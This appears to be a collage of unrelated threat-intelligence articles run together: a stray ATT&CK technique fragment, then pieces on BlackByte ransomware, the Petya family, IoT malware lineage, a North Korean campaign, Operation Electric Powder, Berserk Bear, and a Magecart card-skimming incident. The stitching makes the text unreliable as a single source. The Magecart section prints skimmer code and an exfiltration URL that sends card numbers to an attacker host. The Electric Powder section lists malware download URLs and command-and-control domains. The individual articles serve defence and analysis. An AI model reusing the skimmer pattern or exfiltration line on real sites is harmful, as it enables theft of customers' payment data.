Collection - T1119 - Data from Local System - T1005 - Data from Network Shared Drive - T1039 - Data from Removable Media - T1025 - Custom Command and Control Protocol - T1094 - Multi-hop Proxy - T1188 - Exfiltration Over Command and Control Channel - T1041 - Automated Exfiltration - T1020
# FBI: BlackByte Ransomware Breached US Critical Infrastructure The US Federal Bureau of Investigation (FBI) revealed that the BlackByte ransomware group has breached the networks of at least three organizations from US critical infrastructure sectors in the last three months. This was disclosed in a TLP:WHITE joint cybersecurity advisory released Friday in coordination with the US Secret Service. "As of November 2021, BlackByte ransomware had compromised multiple US and foreign businesses, including entities in at least three US critical infrastructure sectors (government facilities, financial, and food & agriculture)," the federal law enforcement agency said. "BlackByte is a Ransomware as a Service (RaaS) group that encrypts files on compromised Windows host systems, including physical and virtual servers." The advisory focuses on providing indicators of compromise (IOCs) that organizations can use to detect and defend against BlackByte's attacks. The IOCs associated with BlackByte activity shared in the advisory include MD5 hashes of suspicious ASPX files discovered on compromised Microsoft Internet Information Services (IIS) servers and a list of commands the ransomware operators used during attacks. ## The 49ers Ransomware Attack In related news, NFL's San Francisco 49ers team revealed over the weekend that it's recovering from a BlackByte ransomware attack. The threat actors claimed the attack, saying that they also stole data from the football organization's servers during the incident and leaked almost 300MB worth of files on their data leak blog. The 49ers confirmed the ransomware attack in a statement to BleepingComputer and said it only caused a temporary disruption to portions of its IT network. BlackByte ransomware operation has been active since at least July 2021, when it started targeting corporate victims worldwide. This gang is known for exploiting software vulnerabilities (including Microsoft Exchange Server) to gain initial access to their enterprise targets' network, illustrating that keeping your servers updated will most likely block their attacks. In October, cybersecurity firm Trustwave created and released a free BlackByte decryptor, enabling some victims to restore their files for free after the ransomware gang used the same decryption/encryption key in multiple attacks. The two agencies also shared a list of measures that can help admins mitigate BlackByte attacks: - Implement regular backups of all data to be stored as air-gapped, password-protected copies offline. Ensure these copies are not accessible for modification or deletion from any system where the original data resides. - Implement network segmentation, such that all machines on your network are not accessible from every other machine. - Install and regularly update antivirus software on all hosts, and enable real-time detection. - Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. - Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts. - Audit user accounts with administrative privileges and configure access controls with least privilege in mind. Do not give all users administrative privileges. - Disable unused remote access/Remote Desktop Protocol (RDP) ports and monitor remote access/RDP logs for any unusual activity. - Consider adding an email banner to emails received from outside your organization. - Disable hyperlinks in received emails. - Use double authentication when logging into accounts or services. - Ensure routine auditing is conducted for all accounts. - Ensure all the identified IOCs are input into the network SIEM for continuous monitoring and alerts.
# Keeping up with the Petyas: Demystifying the malware family Malwarebytes Labs July 14, 2017 Last June 27, there was a huge outbreak of a Petya-esque malware with WannaCry-style infector in the Ukraine. Since there is still confusion about how exactly this malware is linked to the original Petya, we have prepared this small guide on the background of the Petya family. ## The origin of Petya The first Petya ransomware was released around March 2016 by a person/group calling themselves Janus Cybercrime Solutions. This group was advertising their affiliate program, giving other criminals a chance to distribute their malware. Janus Cybercrime Solutions was represented also on Twitter by appropriate accounts, first by @janussec, and then by @JanusSecretary. The names “Janus” and “Petya” were inspired by the James Bond movie, *GoldenEye*. The threat actor was consistent with the chosen theme, too—the profile picture of the linked Twitter account was from one of the characters of the movie, a computer programmer/hacker named Boris Grishenko. ## Unique features From the very beginning, Petya has been a unique ransomware because it has features that are not common for this type of malware. While most of the ransomware can only encrypt files one by one, Petya denies users access to the full system by attacking low-level structures on the disk. Petya is always installed by some dropper, which is a Windows executable (on each version of Petya the dropper is replaced with a new one). During installation, the Petya installer overwrites the disk with Petya’s kernel and boot loader. Because of this, the affected machine boots the malicious kernel instead of the legitimate OS. On the first run, it displays a fake CHKDSK screen. Instead of checking the disk, in reality, it encrypts the Master File Table (MFT) with Salsa20. This way, the ransomware makes the disk inaccessible. When encryption is finished, two screens are displayed: a blinking skull followed by the ransom demand. ## Official releases So far, there are 4 releases of Petya ransomware by its original author, Janus: 1. **1.0 (Red Petya)** – Attacks only MFT 2. **2.0 (Green Petya + Mischa)** – Attacks either the MFT or files (a variant of the attack depends on the privileges with which the sample was deployed) 3. **2.5 (Green Petya + Mischa)** – Same as 2.0 but with improvements 4. **3.0 (Goldeneye)** – Attacks both the MFT and files, using UAC bypass to auto-elevate its privileges Recently, Janus released the master key that can unlock all official versions described above. These Petya releases can be identified by the theme colors. ## Unofficial releases (pirated versions) Since Petya is powerful, other cybercriminals have been attracted to use it. However, not all of them want to join the affiliate program and pay its creator. Similar to legitimate software, Petya has pirated versions. So far, we observed two unofficial releases: - **PetrWrap** – uses Petya’s low-level component as well as patched Petya’s DLL, wrapped by a new loader. It’s based on Green Petya. - **EternalPetya** – also called NotPetya, ExPetr, etc. The malware based on GoldenEye, used in the attack on Ukraine. The high-level layer (PE file) has been rewritten. The pirated versions can be identified by the modified look. In both cases, the original Petya’s skull has been removed. While PetrWrap was a fully-functional ransomware, EternalPetya seems unfinished or broken on purpose because the Salsa key that used to encrypt the MFT cannot be recovered. Once encrypted, data cannot be decrypted, even by the malware authors. Same as the original GoldenEye, EternalPetya encrypts also files with the selected extensions before attacking the MFT. Files are encrypted using different algorithms and keys than the MFT (RSA + AES, while the MFT is encrypted using Salsa20). On July 4, the distributors of EternalPetya raised the ransom demand and offered to sell the private RSA key that can potentially help in unlocking encrypted files but not the MFT. ## Copycats In addition to malware based on the original Petya, copycats also have started to appear. They have nothing in common with Petya’s code; they only try to imitate its look or some of its features. Some examples are SatanaRansomware or Petya+, a .NET imitation of Petya discovered by @LawrenceAbrams. ## Conclusion Ransomware piracy is becoming common and this triggers more problems for the victims. Often, the authors of such pirated malware don’t care to give the data back. They just use the reputation of known ransomware to scam victims into paying. In addition to the described cases, we have also encountered several versions of pirated DMALocker, wherein some of the variants corrupt the data that make recovery hard or even impossible. Petya is a powerful malware. And to make things worse, it is also very easy to modify and repurpose. Even if the official line of Petya has been discontinued, we can expect the pirated versions to still be around. This was a guest post written by Hasherezade, an independent researcher and programmer with a strong interest in InfoSec. She loves going into details about malware and sharing threat information with the community. Check her out on Twitter @hasherezade.
# The Tangled Genealogy of IoT Malware **Emanuele Cozzi** **Pierre-Antoine Vervier** **Matteo Dell’Amico** **Yun Shen** **Leyla Bilge** **Davide Balzarotti** **EURECOM, Sophia Antipolis, France** **NortonLifeLock, Inc., Reading, United Kingdom** ## ABSTRACT The recent emergence of consumer off-the-shelf embedded (IoT) devices and the rise of large-scale IoT botnets has dramatically increased the volume and sophistication of Linux malware observed in the wild. The security community has put a lot of effort to document these threats but analysts mostly rely on manual work, which makes it difficult to scale and hard to regularly maintain. Moreover, the vast amount of code reuse that characterizes IoT malware calls for an automated approach to detect similarities and identify the phylogenetic tree of each family. In this paper, we present the largest measurement of IoT malware to date. We systematically reconstruct—through the use of binary code similarity—the lineage of IoT malware families, and track their relationships, evolution, and variants. We apply our technique on a dataset of more than 93k samples submitted to VirusTotal over a period of 3.5 years. We discuss the findings of our analysis and present several case studies to highlight the tangled relationships of IoT malware. ## CCS CONCEPTS - Security and privacy → Software and application security; Malware and its mitigation. ## KEYWORDS Malware, IoT, Classification, Measurement, Lineage ## 1 INTRODUCTION Over the last few years, we have witnessed an increase in both the volume and sophistication of malware targeting IoT systems. Traditional botnets and DDoS tools now cohabit with crypto-mining, spyware, ransomware, and targeted samples designed to conduct cyberespionage. To make things worse, the public availability of the source code associated with some of the main IoT malware families has paved the way for myriads of variants and tangled relationships of similarities and code reuse. To make sense of this complex evolution, the security community has devoted a considerable effort to analyze and document these emerging threats, mostly through a number of blog posts and the definitions of Indicators of Compromise. However, while the insights gained from these reports are invaluable, they provide a very scattered view of the IoT malware ecosystem. On the academic side, Cozzi et al. provided the first large-scale study of Linux malware by relying on a combination of static and dynamic analyses. The authors studied the behavior of 10K samples collected between November 2016 and November 2017, with the goal of documenting the sophistication of IoT malware (in terms of persistence mechanisms, anti-analysis tricks, packing, etc.). Antonakakis et al. instead dissected the Mirai botnet and provided a thorough investigation into its operations, while Pa et al. and Vervier et al. used IoT honeypots to measure the infection and monetization mechanisms of IoT malware. Despite this effort, little is still known about the dynamics behind the emergence of new malware strains and today IoT malware is still classified based on the labels assigned by AV vendors. Unfortunately, these labels are often very coarse-grained, and therefore unable to capture the continuous evolution and code sharing that characterize IoT malware. For instance, it is still unclear how many variants of the Mirai botnet have been observed in the wild, and what makes each group different from the others. We also have a poor understanding of the inner relationships that link together popular families, such as the Mirai and Gafgyt botnets and the infamous VPNFilter malware. This paper aims at filling this gap by proposing a systematic way to compare IoT malware samples and display their evolution in a set of easy-to-understand lineage graphs. While there exists a large corpus of works that focused on the clustering of traditional malware and exploring their lineage, in this paper we show that the peculiarities of IoT malware require the adoption of customized techniques. On the other hand, to our advantage, the current number of samples and the general lack of code obfuscation make it possible, for the first time, to draw a complete picture that covers the entire ecosystem of IoT malware. Our main contribution is twofold. First, we present an approach to reconstruct the lineage of IoT malware families and track their evolution. This technique allows identifying various variants of each family and also the intra-family relationships that occur due to the code reuse among them. Second, we report on the insights gained by applying our approach on the largest dataset of IoT malware ever assembled to date, which includes all malicious samples collected by VirusTotal between January 2015 and August 2018. ## 2 DATASET To study the genealogy of IoT malware, our first goal was to collect a large and representative dataset of malware samples. For this purpose, we downloaded all ELF binaries that have been submitted to VirusTotal over a period of almost four years (from January 2015 to August 2018) and that had been flagged as malicious by at least five anti-virus (AV) vendors. Since our goal is to analyze malware that targets IoT devices, we purposely discarded all Android applications and shared libraries. Furthermore, we also removed samples compiled for the Intel and AMD architectures because it is very difficult to distinguish the binaries for embedded devices from the binaries for Linux desktop systems. This selection criteria resulted in a dataset of 93,652 samples, one order of magnitude larger than any other study conducted on Linux-based malware. ## 3 MALWARE LINEAGE GRAPH EXTRACTION The field that studies the evolution of malware families and the way malware authors reuse code between families as well as between variants of the same family is known as malware lineage. Deriving an accurate lineage is a difficult task, which in previous studies has often been performed with help from manual analysis and over a small limited number of samples. However, given the scale of our dataset, we need to rely on a fully automated solution. The traditional approach for this purpose is to perform malware clustering based on static and dynamic features. When also the time dimension is combined in the analysis, clustering can help derive a complete timeline of malware evolution, also known as phylogenetic tree of the malware families. A common and simple other way to do that would be to rely on AV labels, more oriented to only identify macro-families. We, on the other hand, work towards a finer-grained classification that would enable us to study differences among sub-families and the overall intra-family evolution and relationships. ## 4 RESULTS We used the workflow for code-based clustering presented in the previous section to plot phylogenetic trees for the six top architectures in our dataset. We found that the current IoT malware scene is mainly invaded by three families tightly connected to each other: Gafgyt, Mirai, and Tsunami. They contain hundreds of variants grouped under the same AV label and are the ones that served as inspiration for different groups of malware developers, most likely because of the fact their source code can be found online. ## 5 CASE STUDIES After showing our automated approach for systematic identification of code reuse, we now discuss in more detail two case studies. We use these examples as an opportunity to provide a closer look at two individual families and discuss their evolution and the multitude of internal variants. ## 6 RELATED WORK Researchers have so far mostly focused on analyzing the current state of attacks and malware targeting IoT devices, usually by deploying honeypots. Antonakakis et al. provided a comprehensive forensic study of the Mirai botnet, reconstructing its history and tracking its various evolutions. Cozzi et al. carried out a systematic study of Linux malware describing some of the trends in their behavior and level of sophistication. ## 7 CONCLUSION We have presented the largest study known to date over a dataset consisting of 93K malicious samples. We use binary similarity-based techniques to uncover more than 1500 malware variants and validate more than 200 of them thanks to their source code leaked online. AV signatures appear to be not robust enough against small modifications inside binaries. As such, rewriting a specific function or borrowing it from another family can be enough to derail AVs, often leading to mislabeling or missed detections.
# North Korea APT Might Have Used a Mobile 0day Too? By ZecOps Research Team January 26, 2021 Following Google TAG's announcement that a few profiles on Twitter were part of an APT campaign targeting security researchers, it was revealed that these threat actors are North Koreans. They aimed to establish credibility by publishing well-thought-out blog posts and interacting with researchers via Direct Messages to lure them into downloading and running an infected Visual Studio project. Some of the fake profiles were: @z0x55g, @james0x40, @br0vvnn, @BrownSec3Labs. ## Using a Chrome 0day to Infect Clients? In their post, Google TAG mentioned that the attackers were able to compromise a fully patched Windows box running Chrome. They noted that in addition to targeting users via social engineering, several cases were observed where researchers were compromised after visiting the actors’ blog. In each case, the researchers followed a link on Twitter to a write-up hosted on blog.br0vvnn[.]io, and shortly thereafter, a malicious service was installed on the researcher’s system, leading to an in-memory backdoor that began beaconing to an actor-owned command and control server. At the time of these visits, the victim systems were running fully patched and up-to-date Windows 10 and Chrome browser versions. ## Attacking Mobile Users? According to ZecOps Mobile Threat Intelligence, the same threat actor might have used an Android 0day as well. If you entered this blog from your Android or iOS devices, we would like to examine your device using ZecOps Mobile DFIR tool to gather additional evidence. Please contact us as soon as convenient at [email protected] --- Hear the news first: Only essential content, new vulnerabilities & announcements, news from ZecOps Research Team. We won’t spam, pinky swear 🤞 Follow @ZecOps
# Operation Electric Powder – Who is targeting Israel Electric Company? Attackers have been trying to breach IEC (Israel Electric Company) in a year-long campaign. From April 2016 until at least February 2017, attackers have been spreading malware via fake Facebook profiles and pages, breached websites, self-hosted and cloud-based websites. Various artifacts indicate that the main target of this campaign is IEC – Israel Electric Company. These include domains, file names, Java package names, and Facebook activity. We dubbed this campaign “Operation Electric Powder”. Israel Electric Company (also known as Israel Electric Corporation) is the largest supplier of electrical power in Israel. The IEC builds, maintains, and operates power generation stations, substations, as well as transmission and distribution networks. The company is the sole integrated electric utility in the State of Israel. Its installed generating capacity represents about 75% of the total electricity production capacity in the country. It is notable that the operational level and the technological sophistication of the attackers are not high. Also, they are having a hard time preparing decoy documents and websites in Hebrew and English. Therefore, in most cases, a vigilant target should be able to notice the attack and avoid infection. We do not have indication that the attacks succeeded in infecting IEC-related computers or stealing information. Currently, we do not know who is behind Operation Electric Powder or what its objectives are. ## Impersonating Israeli news site The attackers registered and used in multiple attacks the domain ynetnewes.com (note the extra e). This domain impersonates ynetnews.com, the English version of ynet.co.il – one of Israel’s most popular news sites. Certain pages within the domain would load the legitimate Ynet website. Others, which are opened as decoy during malware infection, had copied content from a different news site. The URL ynetnewes.com/video/Newlm.html contained an article about Brad Pitt and Marion Cotillard copied from another site. At the bottom was a link saying “Here For Watch It!” The link pointed to goo.gl/zxhJxu (Google’s URL shortening service). According to the statistics page, it had been created on September 25, 2016, and had been clicked only 11 times. When clicked, it would redirect to iecr.co/info/index_info.php. We do not know what was the content in the final URL. We estimate that it served malware. The domain iecr.co was used as a command and control server for other malware in this campaign. Another URL, http://ynetnewes.com/resources/assets/downloads/svchost.exe hosted a malware file called program_stream_film_for_watch.exe. ## Fake Facebook profile – Linda Santos One of the above-mentioned malicious URLs was spread via comments by a fake Facebook profile – Linda Santos. In September 2016, the fake profile commented on posts by Israel Electric Company. The profile had dozens of friends, almost all were IEC employees. The fake profile was following only three pages, one of which was the IEC official page. ## Pokemon Go Facebook page In July 2016, when the mobile game “Pokemon Go” was at the peak of its popularity, the attackers created a Facebook page impersonating the official Pokemon Go page. The page, which is no longer available, had about one hundred followers – most were Arab Israelis and some were Jewish Israelis. Only one post was published, with text in English and Hebrew. Grammatical mistakes indicate the attackers are not native to both languages. The post linked to a malicious website hosted in yolasite.com: pokemonisrael.yolasite.com. The button – “בשחמו ןופלט הדרוהל” (literal translation – “To download phone and computer”) linked to a zip file in another website: http://iec-co-il.com/iec/electricity/Pokemon-PC.zip. Note that the domain being impersonated is that of Israel Electric Company’s website (iec.co.il). Pokemon-PC.zip contained Pokemon-PC.exe, which at runtime drops monitar.exe. ## Android phone malware The attackers also distributed a malicious app for Android devices – pokemon.apk. This malware also had characteristics that impersonate IEC, such as the package name. The application is a dropper that extracts and installs spyware. The dropper does not ask for any permission during installation. However, when the spyware is installed, it asks for multiple sensitive permissions. The victim ends up with two applications installed on their device. The Dropper, pretending to be a Pokemon Go app, adds an icon to the phone dashboard. However, it does not have any functionality, and when clicked, an error message is displayed: "Error 505. Sorry, this version is not compatible with your android version." The dropper does not really check what android version is installed. The message is intended to make the victim believe that the Pokemon game does not work because of compatibility issues. The victim is likely to uninstall the application at this point. However, because a second application was installed, the phone would stay infected unless it is uninstalled as well. ## Websites for Malware distribution Malware was also hosted in legitimate breached Israeli websites, such as this educational website: http://www.bagrut3.org.il/upload/edu_shlishit/passwordlist.exe and a small law firm’s website: http://sheinin.co.il/MyPhoto.zip. In journey-in-israel.com, the attackers inserted an exploit code for CVE-2014-6332 – a Windows code execution vulnerability. The exploit was copied from an online source, likely from here, as the code included the same comments. In other cases, the attackers registered and built malicious websites: users-management.com and sourcefarge.net (similar to legitimate software website sourceforge.net). The latter was redirecting to journey-in-israel.com and iec-co-il.com in May and July 2016, according to PassiveTotal. Sample 24befa319fd96dea587f82eb945f5d2a, potentially only a test file, is a self-extracting archive (SFX) that contains two files: a legitimate Putty installation and link.html. When run, while Putty is installed, the HTML file is opened in a browser and redirects to http://tinyurl.com/jerhz2a and then to http://users-management.com/info/index_info.php?id=9775. The last page 302 redirects to the website of an Israeli office supply company. Sample f6d5b8d58079c5a008f7629bdd77ba7f, also a self-extracting archive, contained a decoy PDF document and a backdoor. The PDF, named IEC.pdf, is a warranty document taken from the office supply company’s public website. It is displayed to the victim while the malware is infecting its computer. ## Windows Malware The attackers developed three malware types for Windows-based computers: - **Dropper** – self-extracting archives that extract and run the backdoor, sometimes while opening a decoy PDF document or website. - **Trojan backdoor / downloader** – malware that collects information about the system and can download and execute other files. Some samples had two hardcoded command and control servers: iecrs.co and iecr.co (note once again the use of IEC in the domain name). - **Keylogger / screen grabber** – records keystrokes and takes screenshots. The malware file is compiled Python code. An analysis of the malware and other parts of the campaign was published by McAfee. The latest known sample in this campaign has a compilation timestamp of February 12, 2017. It is dropped when “pdf file products israel electric.exe” is executed. ## Attribution In a report covering other parts of the campaign, McAfee attributes it to Gaza Cybergang (AKA Gaza Hacker Team AKA Molerats). However, the report does not present strong evidence to support this conclusion. While initially we thought the same, currently we cannot relate Operation Electric Powder to any known group. Moreover, besides Mohamad potentially being the name of the malware developer (based on PDB string found in multiple samples), we do not have evidence that the attackers are Arabs. ## Indicators of compromise - Indicators file: Operation-Electric-Powder-indicators.csv - Notably, all but one of the IP addresses in use by the attackers belong to German IT services provider “Accelerated IT Services GmbH” (AS31400): - 84.200.32.211 - 84.200.2.76 - 84.200.17.123 - 84.200.68.97 - 82.211.30.212 - 82.211.30.186 - 82.211.30.192 Florian Roth shared a Yara rule to detect the downloader: Operation-Electric-Powder-yara.txt.
# Bear in the Net: A Network-Focused Perspective on Berserk Bear Berserk Bear is one of many names for a threat actor operating since at least 2010. Alternatively referred to or encompassing operations tracked as Crouching Yeti, Dragonfly, and Iron Liberty, among others, the group is linked by multiple entities to Russian state-directed operations. Throughout over a decade of activity, Berserk operated in a variety of sensitive environments, from industrial organizations to government entities – but without any apparent, direct impact. While recently published research indicates this group may be responsible for inadvertent disruption as part of its activities in critical infrastructure environments, even absent such impacts, Berserk’s behaviors are cause for concern. Viewed potentially as preliminary operations necessary for future cyber impacts, Berserk represents a preparatory agent enabling future, more worrying events. The implications of Berserk activity for critical infrastructure owners and operators are significant. Although not directly linked to any known, intended disruptive or destructive event, the group’s operations cover all necessary steps to position an adversary for such an operation in the future. For network defenders, a review of this group’s actions is therefore not merely helpful but for some necessary to guard against this type of threat. In this post, we will examine network-focused items related to Berserk Bear operations throughout the group’s history as detailed in recently published research. ## Exploit to Credential Leak Initial Berserk activity, often referred to as the Dragonfly Campaign, utilized exploits as part of multiple intrusion vectors to gain initial access to victims from at least 2010 through 2014. After a brief period of quiet, the group returned to action using superficially similar initial access mechanisms: strategic website compromise (SWC) and phishing campaigns with malicious attachments. However, unlike earlier activity, post-Dragonfly operations avoided the use of exploits and instead focused on leaking credentials from victim machines. Through either reference to external objects in malicious documents or by injecting a reference to a remotely hosted object in an otherwise legitimate webpage, Berserk operators worked to harvest credentials by prompting an external authentication attempt from victim machines. Similar to penetration testing techniques such as use of the Responder tool for capturing logon information, the technique prompts a victim machine to initiate an outbound Server Message Block (SMB) query to retrieve a remotely-hosted file object. As part of this communication, Windows authentication information (the username and NTLM hash) passes to the remote machine, which an intruder can capture for future replay. From a defender’s perspective, the first recommendation to avoid such information leakage is to deny outbound SMB connections (TCP 445). Where such actions are not possible, external connectivity should be limited to known-necessary networks. Alternatively, such traffic can be rigorously logged as SMB communications can be leveraged for a variety of malicious actions beyond the credential leak activity associated with Berserk Bear. When SMB routes fail, Windows will fail-over to Web Distributed Authoring and Versioning (WebDAV) to retrieve the same resource via HTTP. The fail-over communication can be identified in network traffic via a WebDAV-containing user agent string. Monitoring HTTP traffic containing a WebDAV-related user agent can reveal these attempts when outbound SMB traffic is blocked or filtered. While this alone may be insufficient to identify truly suspicious traffic as legitimate use cases exist, pairing with analysis of infrastructure or originating application or resource can reveal instances worth further investigation. ## Abusing Remote Access Post-Dragonfly actions associated with Berserk used harvested credentials for both remote access to victim environments and lateral movement inside compromised networks. More recent campaigns linked to this entity continue to emphasize credential harvesting, leveraging a combination of exploits, tools, and standard collection techniques as means to access logon information. Overall, just as Berserk transitioned from exploits for initial access, consistent credential gathering and reuse allows the intruder to blend in with normal user activity and evade easy detection. Once inside victim networks, Berserk actors create adversary-controlled administrator accounts and modify system settings to facilitate follow-on access, as well as continuous password theft and cracking to gather more existing account information. While other techniques also appear in Berserk-related campaigns in the late 2010s, Berserk operations from 2018 to the present focus on having steady, reliable access to valid credentials. Berserk then leverages collected credentials for remote access, lateral movement, as well as for tactics such as remote process execution using the PSExec tool. A variety of host-centric controls exist to monitor or limit these techniques. First and foremost, network owners must deploy and enforce robust multi-factor authentication (MFA) schema to significantly minimize the risk of account compromise and credential reuse. Additionally, defenders can monitor system and access logs for unusual activity associated with specific user accounts, and audit privileged account use within the network. In addition to these host-based operations, network-centric options also exist to monitor and track possible credential abuse. For example, especially where host-centric logs may not be easily accessible or available, mapping authentication pairs – source and destination system – and associated accounts can identify overall patterns in network traffic. While potentially overwhelming and unwieldy for covering all remote authentication activity, focusing on external-to-internal behaviors to track new authentication sources or emphasizing “high value” internal targets (domain controllers, security tools, or industrial systems) can yield potentially valuable results. Identifying a new, not previously seen remote access attempt to the network from an unfamiliar network address can be the first touchpoint revealing potential credential loss and a follow-on intrusion attempt. Similarly, identifying authentication attempts to critical assets from standard user machines in the network can reveal opportunistic lateral movement activity. Expanding beyond authentication tracking, defenders can utilize network visibility to enhance understanding of file movement and process execution as well. Similarly reliant upon credential access, looking for activity such as share mapping (and subsequent file movement) or remote process execution via various frameworks is critical to mapping lateral movement activity. Identifying unusual relationships in such activity, such as file movement directly between workstations or remote process activity outside of policy and administration parameters can reveal adversary operations in progress. Certainly, none of the above items are easy to implement, but represent necessary steps for network owners and defenders to evolve with adversaries such as Berserk Bear. Luckily, advances in technology, modeling, and threat analysis mean defenders can take advantage of robust, multi-faceted detection of systemic anomalies to reveal adversaries attempting to “blend in” with normal system operations. ## Infrastructure Capture for Communications Berserk Bear is interesting not just for its activity, but also the nature of the infrastructure used to carry out that activity. Starting with the Dragonfly campaign, Berserk utilized compromised, legitimate sites and services for operations. By the later Palmetto Fusion campaign and follow-on activities, Berserk shifted almost entirely to using compromised infrastructure for malicious activity. When procuring network infrastructure, adversaries have two general choices: they can create their own (lease IP addresses and servers, register domain names, etc.) or leverage a third party’s existing service. One of the more direct ways of achieving the latter is to simply compromise someone’s vulnerable system for use in attacks, whether for botnets or as proxy nodes for communication. For an adversary, this approach can evade typical defender analysis and pivoting methodologies by avoiding creation patterns or relative “newness” of registered domains. Yet opportunities still exist to differentiate communication pathways provided defenders can enrich and contextualize these observations. Looking at previously described Berserk behaviors, such as credential harvesting and follow-on remote access, even if this activity involves a compromised, otherwise legitimate server, defenders can still identify suspicious characteristics in the infrastructure to power security-driven decision-making. For example, defenders can establish profiles of remote access to the monitored network including not just geography but also service providers and even Autonomous System Numbers (ASNs) for clients. Using this information to then identify items outside the norm, such as the expanded anomaly approach described previously, or establishing allow-lists preemptively to block activity outside of existing patterns can defeat activity such as Berserk. Expanding on this, for remote access activity such as connection to the corporate VPN or remote access technologies such as RDP or SSH, activity coming from a remote user would likely originate from an Internet Service Provider (ISP) catering to home users. Observing such remote access activity from a virtual public server (VPS) or cloud service provider would be very strange – but also represents a likely pathway for an entity compromising third-party infrastructure for use as communication relays. By enriching and understanding communication nodes – essentially, viewing network observables as composite objects – defenders can build context around observed IP addresses and other items to make security-focused decisions. ## Conclusion Berserk Bear, in many respects, represents a historical entity in that no publicly known operations have been attributed to this group since 2020. While some may assume this group would therefore offer little to defenders right now in terms of lessons learned, closer investigation reveals Berserk deploying a variety of tactics and techniques that mirror behaviors associated with current ransomware and other advanced persistent threat entities. By researching and analyzing Berserk Bear campaigns, defenders can gain significant insight into adversary tradecraft aligning with abuse of legitimate services and “living off the land” techniques. Furthermore, understanding is necessary for defenders to take the next required step: building and deploying detections and defenses against such behaviors. Network defenders and system owners can use this iterative process of threat analysis and defense development far more widely. By first understanding how given adversaries operate, then identifying various detection and identification opportunities associated with observed capabilities and actions, defenders can ensure coverage of adversary tradecraft. Analysts can then expand from specific instantiations of tradecraft to more general understanding of the fundamental behavior for broad-scope defense meeting wider developments across multiple adversaries.
# Injecting Magecart into Magento Global Config At the beginning of June 2020, we were contacted about a breach of a website using the Magento framework that caused a leak of credit card numbers. A thorough analysis of the website identified the webpage’s footer had malicious code added to it. We found that the Magento's cached CONFIG_GLOBAL_STORES_DEFAULT file also contains the same malicious code. On the compromised web server, we also found an Adminer PHP file – a readily available tool used to remotely manage SQL databases such as MySQL. We will get back to this later on why the attacker used this tool. ## Malicious Code Analysis Before we proceed on how the malicious code got into the compromised webpage’s footer, let us first see what the malicious code does. The malicious JavaScript code is a very long string, encapsulated inside a `<div>` HTML element tag starting with this code: ```html <div style="position:fixed;top:0;left:0;width:100%;height:100%;" onmouseover="(function (){MALICIOUS JAVASCRIPT TRUNCATED}.. ``` Then a “style” attribute is used to define the `<div>` element’s position, with 100% width and 100% height. This means that the element covers the entire page's scale and that it will execute the malicious JavaScript once the mouse moves over the webpage. Towards the end of the string you will see: ```javascript var d1;d1 = eval('doc' + 'ument');d1.getElementById('qwe123').parentNode.removeChild(d1.getElementById('qwe123')) ``` Below is a breakdown of this code: ```javascript var d1; d1 = eval('document'); d1.getElementById('qwe123').parentNode.removeChild(d1.getElementById('qwe123')) ``` Where: - `getElementById` - This method returns the information from the element 'qwe123'. - `parentNode.removeChild` - Returns the removed child node from the Document Object Model (DOM) tree but keeps it in the memory, which can be used later. This piece of code is used to hide itself by removing the whole `<div>` element encapsulating the malicious JavaScript, after the main malicious JavaScript is executed or attempting to conduct live analysis on the code via something like a browser's Dev mode. The bulk of the rest of the code is highly obfuscated. But after de-obfuscating and prettifying the code, we can clearly see what the JavaScript does. The de-obfuscated code monitors HTML elements including input, select, form, and button. This code is very dangerous, especially when injected into a web store’s checkout page. Once a customer enters information into the page and clicks anywhere else, it begins to iterate all of the monitored elements from the HTML form for user inputs. The collected data are then joined together to form one string of URL encoded parameter format. For example: ``` billing[address_id]=340982&billing[create_new_account]=1%2F&billing[country_id]=United%20States&billing[save_in_address_book]=1&billing[use_for_shipping]=1&billing[use_for_shipping]=0&shipping[country_id]=United%20States&shipping[save_in_address_book]=1&shipping_method=cpshipping&payment[method]=authorizenet&payment[cc_type]=Visa&payment[cc_number]=41111111111111&newsletter=1&grand_total_value=77.98&cart[162000][qty]=1&remove=0&cc=4111111111111111 ``` Credit card data are also checked and validated using the Luhn algorithm and appended in the string as parameter variable “cc”. From this point, collected data is exfiltrated to the attacker's host tunneled through an HTTP GET parameter. ``` https://congolo.pro/folder/ip/zxc.php?r=r{random}&{exfiltrated data}&cc={credit card number} ``` ## Footer Infection So how did the JavaScript get injected into the webpage’s footer? Short answer, Magento’s global configuration. Magento’s global configuration plays an important role in an online store that uses the Magento framework. This is where a Magento administrator configures different scopes in the framework, including catalogs, reports, customer configuration, web theme/design, among others. However, this configuration can be easily manipulated after the webserver gets compromised. The screenshot below shows Magento’s design configuration page, where an admin can set the Footer section of the webpage. The footer specifically defines the Copyright notice. But we can also add a `<script>` element into this field. And once this is cached by Magento, the copyright notice including the script gets injected to every page of the Magento website. We mentioned earlier that the attacker used a SQL management tool called Adminer on the compromised web server. The attacker used adminer.php in the server and pointed it to the attacker’s own MySQL database. The tool has a vulnerability that allows bypassing the login screen for adminer.php by using the attacker’s database credentials. Once logged in, the attacker can access the compromised webserver’s local database instead of the attacker’s database. The attacker then leverages the information gained from the database to access the admin portion of the Magento website. The attacker may then potentially directly access and modify the Magento configuration from the database. How the web server got compromised is still being investigated. But looking at the access.log, we saw that other individuals had been scanning for iterations of adminer.php both before and after the attack. Also, the customer was using an old version of Magento (specifically version 1.9.4.3) and there are more than a dozen known security vulnerabilities that affect this version. ## Conclusion This attack shows the relative ease in which a Magento system can be compromised to inject malicious JavaScript into web pages. The only reliable way of preventing Magecart is to detect, fix, and harden the security of websites. There are currently a few tools online that can help with these three steps: Detect/Fix, Harden.
